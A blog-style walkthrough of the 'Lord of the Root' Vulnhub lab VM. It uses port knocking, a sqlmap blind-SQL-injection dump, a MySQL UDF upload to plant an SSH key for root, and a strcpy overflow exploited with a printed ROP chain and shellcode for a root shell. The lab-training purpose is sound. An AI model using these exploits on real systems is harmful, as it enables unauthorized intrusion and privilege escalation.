staring into /dev/null

barrebas

Lord of the Root

I figured I’d try another VM from Vulnhub for a change. This is Lord of the Root v1.0.1.

Note: Before I could even start the VM with Virtualbox, I had to unpack the .ova, delete the .mf file and remove xml entries from the .ovf file.

The first portscan yielded only ssh as an open port. Upon connecting we get this banner:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ ssh root@192.168.56.101

                                                  .____    _____________________________
                                                  |    |   \_____  \__    ___/\______   \
                                                  |    |    /   |   \|    |    |       _/
                                                  |    |___/    |    \    |    |    |   \
                                                  |_______ \_______  /____|    |____|_  /
                                                          \/       \/                 \/
 ____  __.                     __     ___________      .__                   .___ ___________      ___________       __
|    |/ _| ____   ____   ____ |  | __ \_   _____/______|__| ____   ____    __| _/ \__    ___/___   \_   _____/ _____/  |_  ___________
|      <  /    \ /  _ \_/ ___\|  |/ /  |    __) \_  __ \  |/ __ \ /    \  / __ |    |    | /  _ \   |    __)_ /    \   __\/ __ \_  __ \
|    |  \|   |  (  <_> )  \___|    <   |     \   |  | \/  \  ___/|   |  \/ /_/ |    |    |(  <_> )  |        \   |  \  | \  ___/|  | \/
|____|__ \___|  /\____/ \___  >__|_ \  \___  /   |__|  |__|\___  >___|  /\____ |    |____| \____/  /_______  /___|  /__|  \___  >__|
        \/    \/            \/     \/      \/                  \/     \/      \/                           \/     \/          \/
Easy as 1,2,3
root@192.168.56.101's password:

“Knock Friend to Enter” and “Easy as 1,2,3” so that has to be port-knocking. I tried to “knock” with nc, but that didn’t work. I hoped the sequence was indeed 1,2,3 so I just used nmap to do it:

1
2
3
4
5
6
7
8
9
$ nmap -n -T4 -sV -Pn -r 192.168.56.101 -p1,2,3

Starting Nmap 6.00 ( http://nmap.org ) at 2015-10-04 10:15 CEST
Nmap scan report for 192.168.56.101
Host is up.
PORT  STATE    SERVICE     VERSION
1/tcp filtered tcpmux
2/tcp filtered compressnet
3/tcp filtered compressnet

And after this, port 1337 was open:

1
1337/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))

It’s a webserver that serves a single page. I tried to view robots.txt but was given another picture (two hipster hobbits or something). However, the page source contained <!--THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh>. Let’s decode that base64:

1
2
3
4
$ echo 'THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh' |base64 -d
Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer!
$ echo 'Lzk3ODM0NTIxMC9pbmRleC5waHA=' |base64 -d
/978345210/index.php

OK so I browsed to that location. It’s a login page that is vulnerable to SQLi. I had a hard time finding and exploiting it, because I made a silly mistake. I dumped the database I needed, finally, with this command:

1
$ python ./sqlmap.py -u "http://192.168.56.101:1337/978345210/index.php" --data="username=bleh&password=d&submit= Login " --risk 3 --level 3 --dump -D Webapp -t password --dbms=mysql

In first instance, however, I only used --data "username=bleh&password=d, which prevented SQLmap from finding the SQLi. Note to future self: always include all form parameters!

Anyway, dumping all the data from the db took too long because it was blind SQLi so I just dumped Webapp once I found the database names. Long live SQLmap! This database contained usernames based on Lord of the Rings. I tried logging in to the webpage but couldn’t find anything interesting. I tried the five usernames against ssh and struck gold with smeagol:MyPreciousR00t.

From here, there were two ways to root the box: one via a suid binary, one via mysql. I’ll start with the SQL route.

Root via mysql

mysql is running as root:

1
2
smeagol@LordOfTheRoot:~$ ps aux |grep sql
root      1085  2.0  4.2 318220 43072 ?        Ssl  04:07   0:26 /usr/sbin/mysqld

That’s really nice. I grabbed the login from the web source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
smeagol@LordOfTheRoot:~$ cat /var/www/978345210/login.php
<?php
session_start(); // Starting Session
$error=''; // Variable To Store Error Message
if (isset($_POST['submit'])) {
  if (empty($_POST['username']) || empty($_POST['password'])) {
      $error = "Username or Password is invalid";
  }
  else
  {
      // Define $username and $password
      $username=$_POST['username'];
      $password=$_POST['password'];
      $db = new mysqli('localhost', 'root', 'darkshadow', 'Webapp');

      // To protect MySQL injection for Security purpose
      $username = stripslashes($username);
      $password = stripslashes($password);

      $sql="select username, password from Users where username='".$username."' AND password='".$password."';";
      //echo $sql;
                $query = $db->query($sql);
                $rows = $query->num_rows;

      if ($rows == 1) {
          $_SESSION['login_user']=$username; // Initializing Session
          header("location: profile.php"); // Redirecting To Other Page
      } else {
          $error = "Username or Password is invalid";
      }
  }
}
?>

We can now login to mysql as root and upload lib_mysqludf_sys to enable command execution. I ripped parts from my Kvasir writeup. I cloned the lib_mysqludf_sys repo and ran the following commands:

1
2
3
echo "SELECT 0x" > payload
cat lib_mysqludf_sys.so |xxd -p >> payload
echo " INTO DUMPFILE '/usr/lib/mysql/plugin/udf_exploit.so'; " >> payload

payload was ran through tr -d '\n' to remove newlines and the output of that command was entered into the mysql prompt. This creates the udf_exploit.so file on the remote box. From there, I ran:

1
2
mysql> CREATE FUNCTION sys_exec RETURNS int SONAME 'udf_exploit.so';
Query OK, 0 rows affected (0.00 sec)

I created ssh keys for this joyous occasion and upload the public key to the root directory:

1
2
3
4
5
6
7
8
9
10
mysql> SELECT "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhzEQ1uE0pjtDVHQZg17PP1rihY0ju7u0fBSJax/oAfxWXia9e229BpW+P6U08zEE4FhnhKdy4Tqyz8sdqwiPFldi8MkzA68oWBP5QwwGBF+CGrsQ7b8CLDSESPOKMx8uTz71OJObHRzC6Vtuhe9CD3unoTw5i1XNRq/Hl3Zm/BaYQB9yQMA6FoE7qt8UhZS1uis9EsNGvUSvYdrRUM7XiWEsml6Q9EGFs0jVZn/UGCr4rD/t0yqNtAKtH+9j2GRbh2pKTynfFXuHTzzODtiHzbEfmO/ma4B2gcyEzj+FBHxhwZAWQ349Fy/m1oDUJsbnk+tlLbdbPoDOTeS1nOAzD" INTO OUTFILE '/root/.ssh/autorized_keys';
Query OK, 1 row affected (0.00 sec)

mysql> SELECT sys_exec("chmod 600 /root/.ssh/authorized_keys");
+--------------------------------------------------+
| sys_exec("chmod 600 /root/.ssh/authorized_keys") |
+--------------------------------------------------+
|                                                0 |
+--------------------------------------------------+
1 row in set (0.02 sec)

Now I could ssh in as root:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ ssh root@192.168.56.101 -i ./rootkey

                                                  .____    _____________________________
                                                  |    |   \_____  \__    ___/\______   \
                                                  |    |    /   |   \|    |    |       _/
                                                  |    |___/    |    \    |    |    |   \
                                                  |_______ \_______  /____|    |____|_  /
                                                          \/       \/                 \/
 ____  __.                     __     ___________      .__                   .___ ___________      ___________       __
|    |/ _| ____   ____   ____ |  | __ \_   _____/______|__| ____   ____    __| _/ \__    ___/___   \_   _____/ _____/  |_  ___________
|      <  /    \ /  _ \_/ ___\|  |/ /  |    __) \_  __ \  |/ __ \ /    \  / __ |    |    | /  _ \   |    __)_ /    \   __\/ __ \_  __ \
|    |  \|   |  (  <_> )  \___|    <   |     \   |  | \/  \  ___/|   |  \/ /_/ |    |    |(  <_> )  |        \   |  \  | \  ___/|  | \/
|____|__ \___|  /\____/ \___  >__|_ \  \___  /   |__|  |__|\___  >___|  /\____ |    |____| \____/  /_______  /___|  /__|  \___  >__|
        \/    \/            \/     \/      \/                  \/     \/      \/                           \/     \/          \/
Easy as 1,2,3
Welcome to Ubuntu 14.04.3 LTS (GNU/Linux 3.19.0-25-generic i686)

 * Documentation:  https://help.ubuntu.com/

                            .____    _____________________________
                            |    |   \_____  \__    ___/\______   \ 
                            |    |    /   |   \|    |    |       _/
                            |    |___/    |    \    |    |    |   \ 
                            |_______ \_______  /____|    |____|_  /
                                    \/       \/                 \/
 __      __       .__                                ___________      .__                   .___
/  \    /  \ ____ |  |   ____  ____   _____   ____   \_   _____/______|__| ____   ____    __| _/
\   \/\/   // __ \|  | _/ ___\/  _ \ /     \_/ __ \   |    __) \_  __ \  |/ __ \ /    \  / __ |
 \        /\  ___/|  |_\  \__(  <_> )  Y Y  \  ___/   |     \   |  | \/  \  ___/|   |  \/ /_/ |
  \__/\  /  \___  >____/\___  >____/|__|_|  /\___  >  \___  /   |__|  |__|\___  >___|  /\____ |
       \/       \/          \/            \/     \/       \/                  \/     \/      \/
Last login: Sun Oct  4 04:38:51 2015 from 192.168.56.1
root@LordOfTheRoot:~#

So that’s the mysql route. Now on to the binary!

Vulnerable binary

1
2
3
4
5
6
7
8
9
10
smeagol@LordOfTheRoot:~$ find / -perm -4000 -type f 2>/dev/null
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/umount
/bin/ping6
/SECRET/door2/file
/SECRET/door1/file
/SECRET/door3/file

Ah, interesting. This reminds me of knock-knock.

1
2
3
4
smeagol@LordOfTheRoot:~$ md5sum /SECRET/door*/file
f0c663095117d908e16412570d2c6252  /SECRET/door1/file
f0c663095117d908e16412570d2c6252  /SECRET/door2/file
bb0e0e4439b5039e71405f8a1b6d5c0c  /SECRET/door3/file

I grabbed door3 and started analysing it on my local box. It contains a strcpy that allows us to control EIP.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
smeagol@LordOfTheRoot:~$ objdump -d -M intel --no-show-raw-insn /SECRET/door3/file |less

0804845d <main>:
 804845d:       push   ebp
 804845e:       mov    ebp,esp
 8048460:       and    esp,0xfffffff0
 8048463:       sub    esp,0xb0
 8048469:       cmp    DWORD PTR [ebp+0x8],0x1
 804846d:       jg     8048490 <main+0x33>
 804846f:       mov    eax,DWORD PTR [ebp+0xc]
 8048472:       mov    eax,DWORD PTR [eax]
 8048474:       mov    DWORD PTR [esp+0x4],eax
 8048478:       mov    DWORD PTR [esp],0x8048540
 804847f:       call   8048310 <printf@plt>
 8048484:       mov    DWORD PTR [esp],0x0
 804848b:       call   8048340 <exit@plt>
 8048490:       mov    eax,DWORD PTR [ebp+0xc]
 8048493:       add    eax,0x4
 8048496:       mov    eax,DWORD PTR [eax]
 8048498:       mov    DWORD PTR [esp+0x4],eax
 804849c:       lea    eax,[esp+0x11]
 80484a0:       mov    DWORD PTR [esp],eax
 80484a3:       call   8048320 <strcpy@plt>
 80484a8:       mov    eax,0x0
 80484ad:       leave
 80484ae:       ret
 80484af:       nop

I quickly found that I had to run the binary with the first argument containing 171 chars + EIP to overwrite the saved return address on the stack. Let’s see how we can spawn a shell…

1
2
3
4
5
6
7
8
$ gdb -q ./door3
Reading symbols from /home/bas/downloads/LotR/door3...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : disabled

Okay, so no protections whatsoever. We could place shellcode on the stack and pwn like it’s 1999.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
gdb-peda$ r $(python -c 'print "A"*171+"BBBBCCCC"')

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xf7fbeff4 --> 0x15fd7c
ECX: 0x0
EDX: 0xb4
ESI: 0x0
EDI: 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd530 ("CCCC")
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xffffd530 ("CCCC")
0004| 0xffffd534 --> 0xffffd500 ('A' <repeats 44 times>, "BBBBCCCC")
0008| 0xffffd538 --> 0xffffd5e0 --> 0xffffd7e5 ("ORBIT_SOCKETDIR=/tmp/orbit-bas")
0012| 0xffffd53c --> 0xf7fde860 --> 0xf7e5f000 --> 0x464c457f
0016| 0xffffd540 --> 0xf7ff4821 (mov    eax,DWORD PTR [ebp-0x10])
0020| 0xffffd544 --> 0xffffffff
0024| 0xffffd548 --> 0xf7ffcff4 --> 0x1cf2c
0028| 0xffffd54c --> 0x8048249 ("__libc_start_main")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
gdb-peda$ 

Let’s just jump to the stack! However, there is no jmp esp opcode in the binary, so it looks like we have a problem. ASLR is enabled on the remote box and none of the registers point directly to the “shellcode” on the stack. We can hardcode the stack address but that will lead to lots of failed attempts. Let’s be smart about this.

Verify no jmp esp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
gdb-peda$ asmsearch "jmp esp"
Searching for ASM code: 'jmp esp' in: binary ranges
0x08048365 : (83e4) and    esp,0xfffffff0
0x08048460 : (83e4) and    esp,0xfffffff0
0x08048c1b : (00e4) add    ah,ah
0x08049365 : (83e4) and    esp,0xfffffff0
0x08049460 : (83e4) and    esp,0xfffffff0
gdb-peda$ asmsearch "call esp"
Searching for ASM code: 'call esp' in: binary ranges
0x0804864f : (00d4) add    ah,dl
0x08048a6f : (00d4) add    ah,dl
0x08048a73 : (08d4) or     ah,dl
0x08048e0f : (00d4) add    ah,dl
0x0804964f : (00d4) add    ah,dl
gdb-peda$ find "\xff\xd4" binary
Searching for '\xff\xd4' in: binary ranges
Not found
gdb-peda$ find "\xff\xe4" binary
Searching for '\xff\xe4' in: binary ranges
Not found

However, we do have strcpy and this memory region:

1
2
3
4
gdb-peda$ vmmap
Start      End        Perm    Name
0x08048000 0x08049000 r-xp    /home/bas/downloads/LotR/door3
0x08049000 0x0804a000 rwxp    /home/bas/downloads/LotR/door3

0x08049000 is rwx! We can now use strcpy to write ff e4 to memory and return to it, which bypasses ASLR because the binary is always loaded on the same address. Let’s ROP this! strcpy@plt is at 0x8048320 but we can’t use that address because it contains a space. We’ll just use strcpy+6, which jumps to the resolver to resolve strcpy.

1
2
3
4
5
gdb-peda$ x/4i 0x8048320
   0x8048320 <strcpy@plt>:  jmp    DWORD PTR ds:0x8049740
   0x8048326 <strcpy@plt+6>:    push   0x8
   0x804832b <strcpy@plt+11>:   jmp    0x8048300
   0x8048330 <__gmon_start__@plt>:  jmp    DWORD PTR ds:0x8049744

With that out of the way, we need a pop2ret to balance the stack. This is easily located with gdb-peda’s ropgadget command and I chose 0x804850e. Last thing I needed was the address of the bytes 0xff and 0xe4 and again gdb-peda provided those. Putting the ROP chain together:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import struct
def p(x):
  return struct.pack('<L', x)

def write(what, where):
  # strcpy(dest, src)
  # use strcpy+6 otherwise the address will contain a space, messes up argv
  # second address is pop2ret
  return p(0x8048326)+p(0x804850e)+p(where)+p(what)
  
z = ""
z += "A"*171
z += write(0x804852c, 0x8049330) # ff
z += write(0x8048366, 0x8049331) # e4 jmp esp
z += p(0x8049330)
# modified /bin/ash shellcode: http://shell-storm.org/shellcode/files/shellcode-547.php
z += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68"
z += "\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24"
z += "\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd"
z += "\x80\x31\xc0\xb0\x01\xcd\x80"

Death to nopsleds!

1
2
3
4
5
6
7
8
9
10
smeagol@LordOfTheRoot:~$ md5sum /SECRET/door*/file
f0c663095117d908e16412570d2c6252  /SECRET/door1/file
bb0e0e4439b5039e71405f8a1b6d5c0c  /SECRET/door2/file
f0c663095117d908e16412570d2c6252  /SECRET/door3/file
smeagol@LordOfTheRoot:~$ /SECRET/door2/file $(python poc.py)
# whoami
root
# id
uid=1000(smeagol) gid=1000(smeagol) euid=0(root) groups=0(root),1000(smeagol)
# 

And there you go. A reliable way to spawn a root shell from that vulnerable binary. Game over.

1
2
3
# cat /root/Flag*
"There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power."
– Gandalf

Comments